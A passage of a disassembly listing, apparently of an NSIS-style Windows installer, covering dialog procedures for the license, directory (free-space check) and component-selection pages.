[esp+8+arg_0] call sub_4061E0 ; SetDlgItemTextA retn 0Ch sub_4049CF endp ; =============== S U B R O U T I N E ======================================= sub_4049F1 proc near ; CODE XREF: sub_4044FB+2EEp ; sub_404B17+92p ... arg_0 = dword ptr 4 push [esp+arg_0] push dword_42BA14 call ds:dword_40723C ; EnableWindow retn 4 sub_4049F1 endp ; =============== S U B R O U T I N E ======================================= sub_404A04 proc near ; CODE XREF: sub_4044FB:loc_404832p ; sub_404B17+A8p ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] push 28h push dword_42F024 call ds:dword_407248 ; SendMessageA retn 4 sub_404A04 endp ; =============== S U B R O U T I N E ======================================= sub_404A1B proc near ; CODE XREF: sub_4044FB+22Fp ; sub_4044FB+455p ... arg_0 = dword ptr 4 mov eax, dword_42E7F8 test eax, eax jz short locret_404A33 push 0 push 0 push [esp+8+arg_0] push eax call ds:dword_407248 ; SendMessageA locret_404A33: ; CODE XREF: sub_404A1B+7j retn 4 sub_404A1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A36 proc near ; CODE XREF: sub_4044FB+181p ; sub_404B17+29Cp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push esi add eax, 0FFFFFECDh cmp eax, 5 ja loc_404ADC push 0FFFFFFEBh push [ebp+arg_8] call ds:dword_4071B0 ; GetWindowLongA mov esi, eax test esi, esi jz short loc_404ADC test byte ptr [esi+14h], 2 mov eax, [esi] push edi mov edi, ds:dword_4071AC jz short loc_404A71 push eax call edi ; GetSysColor loc_404A71: ; CODE XREF: sub_404A36+36j test byte ptr [esi+14h], 1 jz short loc_404A81 push eax push [ebp+arg_4] call ds:dword_407050 ; SetTextColor loc_404A81: ; CODE XREF: sub_404A36+3Fj push dword ptr [esi+10h] push [ebp+arg_4] call ds:dword_40704C ; SetBkMode mov eax, [esi+4] test byte ptr [esi+14h], 8 mov [ebp+var_8], eax jz short loc_404A9F push eax call edi ; GetSysColor mov [ebp+var_8], eax loc_404A9F: ; CODE XREF: sub_404A36+61j test byte ptr [esi+14h], 4 pop edi jz short loc_404AB0 push eax push [ebp+arg_4] call ds:dword_407054 ; SetBkColor loc_404AB0: ; CODE XREF: sub_404A36+6Ej test byte ptr [esi+14h], 10h jz short loc_404AD7 mov eax, [esi+8] mov [ebp+var_C], eax mov eax, [esi+0Ch] test eax, eax jz short loc_404ACA push eax call ds:dword_407040 ; DeleteObject loc_404ACA: ; CODE XREF: sub_404A36+8Bj lea eax, [ebp+var_C] push eax call ds:dword_407044 ; CreateBrushIndirect mov [esi+0Ch], eax loc_404AD7: ; CODE XREF: sub_404A36+7Ej mov eax, [esi+0Ch] jmp short loc_404ADE ; --------------------------------------------------------------------------- loc_404ADC: ; CODE XREF: sub_404A36+12j ; sub_404A36+27j xor eax, eax loc_404ADE: ; CODE XREF: sub_404A36+A4j pop esi leave retn 0Ch sub_404A36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404AE3 proc near ; DATA XREF: sub_404B17+5Eo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, dword_42ADEC push [ebp+arg_8] add ecx, eax push ecx push [ebp+arg_4] call ds:dword_4070B8 ; lstrcpyn push [ebp+arg_4] call sub_4068CF ; lstrlen mov ecx, [ebp+arg_C] mov [ecx], eax add dword_42ADEC, eax xor eax, eax pop ebp retn 10h sub_404AE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B17 proc near ; DATA XREF: .data:off_4092A8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 110h push ebx push esi push edi jnz loc_404C3A mov ebx, [ebp+arg_C] mov edi, [ebx+30h] test edi, edi jge short loc_404B48 mov ecx, dword_42E7FC lea eax, ds:4[edi*4] sub ecx, eax mov edi, [ecx] loc_404B48: ; CODE XREF: sub_404B17+1Ej mov eax, dword_42F058 push dword ptr [ebx+34h] add edi, eax push 22h movsx eax, byte ptr [edi] mov [ebp+arg_C], eax mov eax, [ebx+14h] push [ebp+arg_0] and [ebp+var_8], 0 mov esi, eax inc edi not esi shr esi, 5 and esi, 1 and eax, 1 mov [ebp+var_C], edi mov [ebp+var_4], offset sub_404AE3 or esi, eax call sub_4049CF push dword ptr [ebx+38h] push 23h push [ebp+arg_0] call sub_4049CF xor eax, eax push 1 test esi, esi setz al add eax, 40Ah push eax push [ebp+arg_0] call ds:dword_4071BC ; CheckDlgButton push esi call sub_4049F1 push 3E8h push [ebp+arg_0] call ds:dword_40722C ; GetDlgItem mov ebx, eax push ebx call sub_404A04 mov esi, ds:dword_407248 push 0 push 1 push 45Bh push ebx call esi ; SendMessageA mov eax, dword_42F028 mov eax, [eax+68h] test eax, eax jge short loc_404BEB neg eax push eax call ds:dword_4071AC ; GetSysColor loc_404BEB: ; CODE XREF: sub_404B17+C9j push eax push 0 push 443h push ebx call esi ; SendMessageA push 4010000h push 0 push 445h push ebx call esi ; SendMessageA and dword_42ADEC, 0 push edi call sub_4068CF ; lstrlen push eax push 0 push 435h push ebx call esi ; SendMessageA lea eax, [ebp+var_C] push eax push [ebp+arg_C] push 449h push ebx call esi ; SendMessageA and dword_42B600, 0 xor eax, eax jmp loc_404DB8 ; --------------------------------------------------------------------------- loc_404C3A: ; CODE XREF: sub_404B17+10j cmp [ebp+arg_4], 111h mov edi, ds:dword_40722C mov ebx, ds:dword_407248 jnz short loc_404CA9 mov eax, [ebp+arg_8] shr eax, 10h test ax, ax jnz loc_404DA9 xor eax, eax cmp dword_42B600, eax jnz loc_404DA9 mov ecx, dword_42ADF4 lea esi, [ecx+14h] test byte ptr [esi], 20h jz loc_404DA9 push eax push eax push 0F0h push 40Ah push [ebp+arg_0] call edi ; GetDlgItem push eax call ebx ; SendMessageA mov ecx, [esi] and eax, 1 and ecx, 0FFFFFFFEh push eax or ecx, eax mov [esi], ecx call sub_4049F1 call sub_404DBF loc_404CA9: ; CODE XREF: sub_404B17+136j cmp [ebp+arg_4], 4Eh jnz loc_404D9A push 3E8h push [ebp+arg_0] call edi ; GetDlgItem mov ecx, [ebp+arg_C] cmp dword ptr [ecx+8], 70Bh jnz loc_404D55 cmp dword ptr [ecx+0Ch], 201h mov esi, ds:dword_4071B8 mov edi, ds:dword_4071B4 jnz short loc_404D40 mov edx, [ecx+18h] mov [ebp+var_4], offset aCall_0 ; "Call" mov [ebp+var_C], edx mov edx, [ecx+1Ch] mov [ebp+var_8], edx sub edx, [ebp+var_C] cmp edx, 800h jnb short loc_404D40 lea ecx, [ebp+var_C] push ecx push 0 push 44Bh push eax call ebx ; SendMessageA push 7F02h push 0 call edi ; LoadCursorA push eax call esi ; SetCursor push 1 push 0 push 0 push [ebp+var_4] push offset aOpen ; "open" push [ebp+arg_0] call ds:dword_40715C push 7F00h push 0 call edi ; LoadCursorA push eax call esi ; SetCursor mov ecx, [ebp+arg_C] loc_404D40: ; CODE XREF: sub_404B17+1C9j ; sub_404B17+1E7j cmp dword ptr [ecx+0Ch], 20h jnz short loc_404D55 push 7F89h push 0 call edi ; LoadCursorA push eax call esi ; SetCursor mov ecx, [ebp+arg_C] loc_404D55: ; CODE XREF: sub_404B17+1B0j ; sub_404B17+22Dj cmp dword ptr [ecx+8], 700h jnz short loc_404DAC cmp dword ptr [ecx+0Ch], 100h jnz short loc_404DAC cmp dword ptr [ecx+10h], 0Dh jnz short loc_404D81 push 0 push 1 push 111h push dword_42F024 call ebx ; SendMessageA mov ecx, [ebp+arg_C] loc_404D81: ; CODE XREF: sub_404B17+254j cmp dword ptr [ecx+10h], 1Bh jnz short loc_404D95 push 0 push 0 push 10h push dword_42F024 call ebx ; SendMessageA loc_404D95: ; CODE XREF: sub_404B17+26Ej xor eax, eax inc eax jmp short loc_404DB8 ; --------------------------------------------------------------------------- loc_404D9A: ; CODE XREF: sub_404B17+196j cmp [ebp+arg_4], 40Bh jnz short loc_404DA9 inc dword_42B600 loc_404DA9: ; CODE XREF: sub_404B17+141j ; sub_404B17+14Fj ... mov ecx, [ebp+arg_C] loc_404DAC: ; CODE XREF: sub_404B17+245j ; sub_404B17+24Ej push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_404A36 loc_404DB8: ; CODE XREF: sub_404B17+11Ej ; sub_404B17+281j pop edi pop esi pop ebx leave retn 10h sub_404B17 endp ; =============== S U B R O U T I N E ======================================= sub_404DBF proc near ; CODE XREF: sub_404B17+18Dp ; sub_404E2A+2C6p ... cmp dword_42F0AC, 0 mov eax, dword_42ADE8 jnz short loc_404DD2 mov eax, dword_42BA14 loc_404DD2: ; CODE XREF: sub_404DBF+Cj push 1 push 1 push 0F4h push eax call ds:dword_407248 ; SendMessageA retn sub_404DBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404DE3 proc near ; DATA XREF: .data:004092B8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 110h push esi mov esi, [ebp+arg_C] jnz short loc_404E19 push dword ptr [esi+30h] push 1Dh push [ebp+arg_0] call sub_4049CF mov eax, [esi+3Ch] shl eax, 0Ah add eax, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" push eax push 3E8h push [ebp+arg_0] call sub_4061E0 ; SetDlgItemTextA loc_404E19: ; CODE XREF: sub_404DE3+Ej push esi push [ebp+arg_8] push [ebp+arg_4] call sub_404A36 pop esi pop ebp retn 10h sub_404DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E2A proc near ; DATA XREF: .data:004092B0o var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 44h mov eax, dword_42ADF4 push ebx push esi mov [ebp+var_1C], eax mov esi, [eax+3Ch] mov eax, [eax+38h] shl esi, 0Ah add esi, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}" cmp [ebp+arg_4], 40Bh push edi mov [ebp+var_4], eax mov ebx, 3FBh jnz short loc_404E68 push esi push ebx call sub_4061E6 push esi call sub_406B09 loc_404E68: ; CODE XREF: sub_404E2A+2Fj cmp [ebp+arg_4], 110h jnz short loc_404EC0 push esi call sub_40643C test eax, eax jz short loc_404E8B push esi call sub_406463 test eax, eax jnz short loc_404E8B push esi call sub_4063CF loc_404E8B: ; CODE XREF: sub_404E2A+4Fj ; sub_404E2A+59j mov edi, [ebp+arg_0] push esi push ebx push edi call sub_4061E0 ; SetDlgItemTextA mov eax, [ebp+arg_C] push dword ptr [eax+34h] push 1 push edi call sub_4049CF mov eax, [ebp+arg_C] push dword ptr [eax+30h] push 14h push edi call sub_4049CF push ebx push edi call ds:dword_40722C ; GetDlgItem push eax call sub_404A04 loc_404EC0: ; CODE XREF: sub_404E2A+45j cmp [ebp+arg_4], 111h jnz loc_404F88 movzx eax, word ptr [ebp+arg_8] cmp eax, ebx jnz short loc_404EED mov ecx, [ebp+arg_8] shr ecx, 10h cmp cx, 300h jnz loc_4050FB mov [ebp+arg_4], 40Fh loc_404EED: ; CODE XREF: sub_404E2A+A9j cmp eax, 3E9h jnz loc_404F88 push 7 xor eax, eax pop ecx lea edi, [ebp+var_40] push [ebp+var_4] rep stosd mov eax, [ebp+arg_0] mov edi, offset dword_42BA18 push 0 mov [ebp+var_44], eax mov [ebp+var_3C], edi mov [ebp+var_30], offset sub_405110 mov [ebp+var_2C], esi call sub_4068D5 mov [ebp+var_38], eax lea eax, [ebp+var_44] push eax mov [ebp+var_34], 41h call ds:dword_407160 test eax, eax jz short loc_404F88 push eax call sub_40615F mov eax, dword_42F028 mov eax, [eax+11Ch] test eax, eax jz short loc_404F78 push eax push 0 call sub_4068D5 push edi mov edi, offset aCall_0 ; "Call" push edi call ds:dword_407068 ; lstrcmpi test eax, eax jz short loc_404F78 push edi push esi call sub_4063CF push eax call ds:dword_40708C ; lstrcat loc_404F78: ; CODE XREF: sub_404E2A+125j ; sub_404E2A+13Ej inc dword_42BA08 push esi push ebx push [ebp+arg_0] call sub_4061E0 ; SetDlgItemTextA loc_404F88: ; CODE XREF: sub_404E2A+9Dj ; sub_404E2A+C8j ... cmp [ebp+arg_4], 40Fh jz short loc_404F9E cmp [ebp+arg_4], 405h jnz loc_4050FB loc_404F9E: ; CODE XREF: sub_404E2A+165j and [ebp+var_4], 0 push esi push ebx or edi, 0FFFFFFFFh call sub_4061E6 push esi call sub_4064B0 test eax, eax jnz short loc_404FBD mov [ebp+var_4], 1 loc_404FBD: ; CODE XREF: sub_404E2A+18Aj push esi mov esi, offset dword_42B608 push esi call sub_4068C9 ; lstrcpy push esi call sub_406463 test eax, eax jz short loc_404FD6 and byte ptr [eax], 0 loc_404FD6: ; CODE XREF: sub_404E2A+1A7j push offset aKernel32_dll ; "KERNEL32.dll" call ds:dword_407134 ; GetModuleHandleA test eax, eax mov ebx, 400h jz short loc_40501F push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push eax call ds:dword_40713C ; GetProcAddress test eax, eax jz short loc_40501F lea ecx, [ebp+var_18] push ecx lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_24] push ecx push esi call eax test eax, eax jz short loc_40501F mov edi, [ebp+var_24] mov eax, [ebp+var_20] shrd edi, eax, 0Ah shr eax, 0Ah cmp edi, 0FFFFFFFFh jnz short loc_40504E loc_40501F: ; CODE XREF: sub_404E2A+1BEj ; sub_404E2A+1CEj ... lea eax, [ebp+var_20] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax push esi call ds:dword_4070CC ; GetDiskFreeSpaceA test eax, eax jz short loc_40504E mov eax, [ebp+var_C] push ebx imul eax, [ebp+var_14] push [ebp+var_8] push eax call ds:dword_40710C ; MulDiv mov edi, eax loc_40504E: ; CODE XREF: sub_404E2A+1F3j ; sub_404E2A+20Ej push 5 call sub_4051F5 cmp edi, eax mov [ebp+var_14], eax jnb short loc_405063 mov [ebp+var_4], 2 loc_405063: ; CODE XREF: sub_404E2A+230j mov eax, dword_42E7FC cmp dword ptr [eax+10h], 0 jz short loc_4050B1 push 0FFFFFFFBh push esi call sub_4068D5 push eax push [ebp+var_14] call sub_405176 push eax push 3FFh push [ebp+arg_0] call sub_4061E0 ; SetDlgItemTextA test edi, edi jl short loc_4050A3 push 0FFFFFFFCh push esi call sub_4068D5 push eax push edi call sub_405176 push eax jmp short loc_4050A8 ; --------------------------------------------------------------------------- loc_4050A3: ; CODE XREF: sub_404E2A+265j push offset dword_42CA1C loc_4050A8: ; CODE XREF: sub_404E2A+277j push ebx push [ebp+arg_0] call sub_4061E0 ; SetDlgItemTextA loc_4050B1: ; CODE XREF: sub_404E2A+242j mov eax, [ebp+var_4] test eax, eax mov dword_42F0C4, eax jnz short loc_4050C7 push 7 call sub_4020C0 mov [ebp+var_4], eax loc_4050C7: ; CODE XREF: sub_404E2A+291j mov eax, [ebp+var_1C] test [eax+14h], ebx jz short loc_4050D3 and [ebp+var_4], 0 loc_4050D3: ; CODE XREF: sub_404E2A+2A3j xor eax, eax cmp [ebp+var_4], eax setz al push eax call sub_4049F1 xor esi, esi cmp [ebp+var_4], esi jnz short loc_4050F5 cmp dword_42BA08, esi jnz short loc_4050F5 call sub_404DBF loc_4050F5: ; CODE XREF: sub_404E2A+2BCj ; sub_404E2A+2C4j mov dword_42BA08, esi loc_4050FB: ; CODE XREF: sub_404E2A+B6j ; sub_404E2A+16Ej push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_404A36 pop edi pop esi pop ebx leave retn 10h sub_404E2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405110 proc near ; DATA XREF: sub_404E2A+EBo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push esi mov esi, ds:dword_407248 jnz short loc_40513C push [ebp+arg_C] push 3FBh call sub_4061E6 push [ebp+arg_C] push 1 push 466h push [ebp+arg_0] call esi ; SendMessageA loc_40513C: ; CODE XREF: sub_405110+Ej cmp [ebp+arg_4], 2 jnz short loc_40516F push [ebp+arg_C] push [ebp+arg_8] call ds:dword_407164 test eax, eax jz short loc_405160 push 7 call sub_4020C0 test eax, eax jnz short loc_405160 inc eax jmp short loc_405162 ; --------------------------------------------------------------------------- loc_405160: ; CODE XREF: sub_405110+40j ; sub_405110+4Bj xor eax, eax loc_405162: ; CODE XREF: sub_405110+4Ej push eax push 0 push 465h push [ebp+arg_0] call esi ; SendMessageA loc_40516F: ; CODE XREF: sub_405110+30j xor eax, eax pop esi pop ebp retn 10h sub_405110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405176 proc near ; CODE XREF: sub_404E2A+250p ; sub_404E2A+271p ... var_40 = byte ptr -40h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40h push ebx push esi mov esi, [ebp+arg_0] push edi push 0FFFFFFDCh cmp esi, 400h mov al, 14h pop ebx jge short loc_405195 xor al, al push 0FFFFFFDEh jmp short loc_4051A1 ; --------------------------------------------------------------------------- loc_405195: ; CODE XREF: sub_405176+17j cmp esi, 100000h jge short loc_4051A2 mov al, 0Ah push 0FFFFFFDDh loc_4051A1: ; CODE XREF: sub_405176+1Dj pop ebx loc_4051A2: ; CODE XREF: sub_405176+25j movsx edi, al lea eax, [ebp+var_20] push 0FFFFFFDFh push eax call sub_4068D5 push eax lea eax, [ebp+var_40] push ebx push eax call sub_4068D5 push eax lea eax, [esi+esi*4] add eax, eax mov ecx, edi sar eax, cl push 0Ah pop ecx cdq idiv ecx mov ecx, edi sar esi, cl push edx push esi push offset aD_DSS ; "%d.%d%s%s" push [ebp+arg_4] call sub_4068CF ; lstrlen add eax, [ebp+arg_4] push eax call ds:dword_40721C ; wsprintfA mov eax, [ebp+arg_4] add esp, 18h pop edi pop esi pop ebx leave retn 8 sub_405176 endp ; =============== S U B R O U T I N E ======================================= sub_4051F5 proc near ; CODE XREF: sub_404E2A+226p ; sub_40526B+77Bp ... arg_0 = dword ptr 4 mov edx, dword_42F04C mov ecx, dword_42F048 xor eax, eax test edx, edx jz short locret_40521C push esi loc_405208: ; CODE XREF: sub_4051F5+24j test byte ptr [ecx+8], 1 jz short loc_405215 mov esi, [esp+4+arg_0] add eax, [ecx+esi*4] loc_405215: ; CODE XREF: sub_4051F5+17j add ecx, 18h dec edx jnz short loc_405208 pop esi locret_40521C: ; CODE XREF: sub_4051F5+10j retn 4 sub_4051F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40521F proc near ; CODE XREF: sub_40526B+3FCp ; sub_405BC5+59p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h call ds:dword_4071C0 ; GetMessagePos movsx ecx, ax shr eax, 10h movsx eax, ax mov [ebp+var_C], eax lea eax, [ebp+var_10] push eax mov [ebp+var_10], ecx push [ebp+arg_0] call ds:dword_407198 ; ScreenToClient lea eax, [ebp+var_10] push eax push 0 push 1111h push [ebp+arg_0] call ds:dword_407248 ; SendMessageA mov al, [ebp+var_8] and al, 66h neg al sbb eax, eax and eax, [ebp+var_4] leave retn 4 sub_40521F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40526B proc near ; DATA XREF: .data:004092ACo var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 50h push ebx push esi mov esi, ds:dword_40722C push edi mov edi, [ebp+arg_0] push 3F9h push edi call esi ; GetDlgItem push 408h push edi mov [ebp+var_8], eax call esi ; GetDlgItem mov ebx, dword_42F048 mov esi, ds:dword_407248 mov [ebp+var_4], eax mov eax, dword_42F028 add eax, 94h cmp [ebp+arg_4], 110h mov [ebp+var_10], ebx mov [ebp+var_18], eax jnz loc_405543 mov eax, dword_42F04C xor ebx, ebx shl eax, 2 push eax mov [ebp+var_1C], ebx mov [ebp+var_14], 2 mov dword_42F080, edi call sub_406244 push 6Eh mov dword_42BA10, eax push dword_42F020 call ds:dword_4071C4 ; LoadBitmapA mov edi, [ebp+var_4] push offset sub_405BC5 push 0FFFFFFFCh push edi mov [ebp+arg_4], eax call ds:dword_407230 ; SetWindowLongA push ebx push 6 push 21h push 10h push 10h mov dword_42BA0C, eax call ds:dword_407034 push 0FF00FFh mov dword_42B5FC, eax push [ebp+arg_4] push eax call ds:dword_40702C push dword_42B5FC push 2 push 1109h push edi call esi ; SendMessageA push ebx push ebx push 111Ch push edi call esi ; SendMessageA cmp eax, 10h jge short loc_405355 push ebx push 10h push 111Bh push edi call esi ; SendMessageA loc_405355: ; CODE XREF: sub_40526B+DDj push [ebp+arg_4] call ds:dword_407040 ; DeleteObject xor edi, edi loc_405360: ; CODE XREF: sub_40526B+143j mov eax, [ebp+var_18] mov eax, [eax+edi*4] cmp eax, ebx jz short loc_4053AA cmp edi, 20h jz short loc_405372 mov [ebp+var_14], ebx loc_405372: ; CODE XREF: sub_40526B+102j push eax push ebx call sub_4068D5 push eax push ebx push 143h push [ebp+var_8] call esi ; SendMessageA push edi push eax push 151h mov [ebp+arg_4], eax push [ebp+var_8] call esi ; SendMessageA cmp edi, dword_42F0B8 jnz short loc_4053AA push ebx push [ebp+arg_4] push 14Eh push [ebp+var_8] call esi ; SendMessageA loc_4053AA: ; CODE XREF: sub_40526B+FDj ; sub_40526B+12Fj inc edi cmp edi, 21h jl short loc_405360 mov edi, [ebp+arg_C] mov ebx, [ebp+var_14] push dword ptr [edi+ebx*4+30h] push 15h push [ebp+arg_0] call sub_4049CF push dword ptr [edi+ebx*4+34h] push 16h push [ebp+arg_0] call sub_4049CF xor edi, edi xor ebx, ebx cmp dword_42F04C, edi jle loc_4054E7 mov eax, [ebp+var_10] and [ebp+var_C], edi add eax, 8 mov [ebp+arg_4], eax loc_4053EE: ; CODE XREF: sub_40526B+270j mov eax, [ebp+arg_4] mov eax, [eax-8] test eax, eax jz loc_4054D0 push eax push 0 mov [ebp+var_50], ebx mov [ebp+var_4C], 0FFFF0002h mov [ebp+var_48], 0Dh mov [ebp+var_24], edi call sub_4068D5 mov [ebp+var_38], eax mov eax, [ebp+arg_4] mov [ebp+var_3C], 0F030h mov eax, [eax] mov ecx, eax and ecx, 1 inc ecx test al, 10h jz short loc_405434 add ecx, 3 loc_405434: ; CODE XREF: sub_40526B+1C4j mov edx, eax and edx, 8 shl ecx, 0Bh or edx, ecx add edx, edx test al, 2 mov [ebp+var_40], edx jz short loc_405484 and eax, 20h or [ebp+var_48], 40h or edx, eax lea eax, [ebp+var_50] push eax push 0 push 1100h mov [ebp+var_28], 1 push [ebp+var_4] mov [ebp+var_40], edx call esi ; SendMessageA mov ecx, dword_42BA10 mov [ebp+var_1C], 1 mov [ecx+edi*4], eax mov eax, dword_42BA10 mov ebx, [eax+edi*4] jmp short loc_4054D0 ; --------------------------------------------------------------------------- loc_405484: ; CODE XREF: sub_40526B+1DAj test al, 4 jz short loc_4054AC mov eax, dword_42BA10 mov ecx, [ebp+var_C] push dword ptr [ecx+eax] push [ebp+var_4] call sub_405AEF push ebx push 3 push 110Ah push [ebp+var_4] call esi ; SendMessageA mov ebx, eax jmp short loc_4054D0 ; --------------------------------------------------------------------------- loc_4054AC: ; CODE XREF: sub_40526B+21Bj mov eax, edi shl eax, 2 mov [ebp+var_C], eax lea eax, [ebp+var_50] push eax push 0 push 1100h push [ebp+var_4] call esi ; SendMessageA mov ecx, dword_42BA10 mov edx, [ebp+var_C] mov [edx+ecx], eax loc_4054D0: ; CODE XREF: sub_40526B+18Bj ; sub_40526B+217j ... add [ebp+arg_4], 18h inc edi cmp edi, dword_42F04C jl loc_4053EE cmp [ebp+var_1C], 0 jnz short loc_405500 loc_4054E7: ; CODE XREF: sub_40526B+171j push 0FFFFFFF0h push [ebp+var_4] call ds:dword_4071B0 ; GetWindowLongA and al, 0FBh push eax push 0FFFFFFF0h push [ebp+var_4] call ds:dword_407230 ; SetWindowLongA loc_405500: ; CODE XREF: sub_40526B+27Aj push 0 push 6 push 115h push [ebp+var_4] call esi ; SendMessageA cmp [ebp+var_14], 0 jnz short loc_405524 push 5 push [ebp+var_8] call ds:dword_407218 ; ShowWindow push [ebp+var_8] jmp short loc_405527 ; --------------------------------------------------------------------------- loc_405524: ; CODE XREF: sub_40526B+2A7j push [ebp+var_4] loc_405527: ; CODE XREF: sub_40526B+2B7j call sub_404A04 mov eax, dword_42F0BC mov ebx, [ebp+var_10] neg eax sbb eax, eax and eax, 23h add eax, 40Fh mov [ebp+arg_4], eax loc_405543: ; CODE XREF: sub_40526B+4Bj cmp [ebp+arg_4], 417h mov edi, 110Dh jnz short loc_40558A mov eax, dword_42BA10 mov ecx, [ebp+arg_8] mov eax, [eax+ecx*4] test eax, eax mov [ebp+var_40], eax jz loc_4059FF push [ebp+arg_C] mov [ebp+var_44], 1 push 0 call sub_4068D5 mov [ebp+var_34], eax lea eax, [ebp+var_44] push eax push 0 push edi push [ebp+var_4] call esi ; SendMessageA mov ebx, [ebp+var_10] loc_40558A: ; CODE XREF: sub_40526B+2E4j cmp [ebp+arg_4], 418h jnz loc_40561C mov eax, [ebp+arg_8] mov edx, [ebp+var_10] lea ecx, [eax+eax*2] mov ebx, [edx+ecx*8+8] mov ecx, dword_42BA10 mov eax, [ecx+eax*4] test eax, eax mov [ebp+var_40], eax jz loc_405A0D push 8 mov ecx, ebx pop eax mov [ebp+var_38], 10h mov [ebp+var_44], eax and ecx, eax lea eax, [ebp+var_44] add ecx, ecx push eax push 0 push edi mov [ebp+var_3C], ecx push [ebp+var_4] call esi ; SendMessageA push [ebp+var_40] test bl, 20h push 0 pop eax setnz al inc eax push eax push 1102h push [ebp+var_4] call esi ; SendMessageA mov eax, ebx and eax, 41h cmp al, 40h jz loc_4059FF and ebx, 1 push ebx push [ebp+var_40] push [ebp+var_4] call sub_405A14 push [ebp+var_40] push [ebp+var_4] call sub_405AEF mov ebx, [ebp+var_10] loc_40561C: ; CODE XREF: sub_40526B+326j cmp [ebp+arg_4], 4Eh mov eax, 413h jz short loc_405630 cmp [ebp+arg_4], eax jnz loc_405725 loc_405630: ; CODE XREF: sub_40526B+3BAj cmp [ebp+arg_4], eax mov edi, [ebp+arg_C] jz short loc_405645 cmp dword ptr [edi+4], 408h jnz loc_405725 loc_405645: ; CODE XREF: sub_40526B+3CBj test byte ptr dword_42F030+1, 2 jnz loc_4056E8 cmp [ebp+arg_4], eax jz short loc_40566E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0FFFFFFFEh jnz loc_4056E8 push [ebp+var_4] call sub_40521F jmp short loc_40567C ; --------------------------------------------------------------------------- loc_40566E: ; CODE XREF: sub_40526B+3EAj push 0 push 9 push 110Ah push [ebp+var_4] call esi ; SendMessageA loc_40567C: ; CODE XREF: sub_40526B+401j test eax, eax mov [ebp+var_40], eax jz short loc_4056E8 lea eax, [ebp+var_44] mov [ebp+var_44], 0Ch push eax push 0 push 110Ch push [ebp+var_4] call esi ; SendMessageA mov eax, [ebp+var_3C] shr eax, 0Ch cmp eax, 4 jge short loc_4056E8 cmp eax, 2 mov eax, [ebp+var_20] lea eax, [eax+eax*2] lea eax, [ebx+eax*8+8] jnz short loc_4056BB and dword ptr [eax], 0FFFFFFFEh push 0 jmp short loc_4056C0 ; --------------------------------------------------------------------------- loc_4056BB: ; CODE XREF: sub_40526B+447j or dword ptr [eax], 1 push 1 loc_4056C0: ; CODE XREF: sub_40526B+44Ej push [ebp+var_40] push [ebp+var_4] call sub_405A14 push [ebp+var_40] push [ebp+var_4] call sub_405AEF and [ebp+arg_C], 0 mov [ebp+arg_8], 1 mov [ebp+arg_4], 40Fh loc_4056E8: ; CODE XREF: sub_40526B+3E1j ; sub_40526B+3F3j ... test edi, edi jz short loc_405725 cmp dword ptr [edi+8], 0FFFFFE6Eh jnz short loc_405704 push dword ptr [edi+5Ch] push 0 push 419h push [ebp+var_4] call esi ; SendMessageA loc_405704: ; CODE XREF: sub_40526B+488j cmp dword ptr 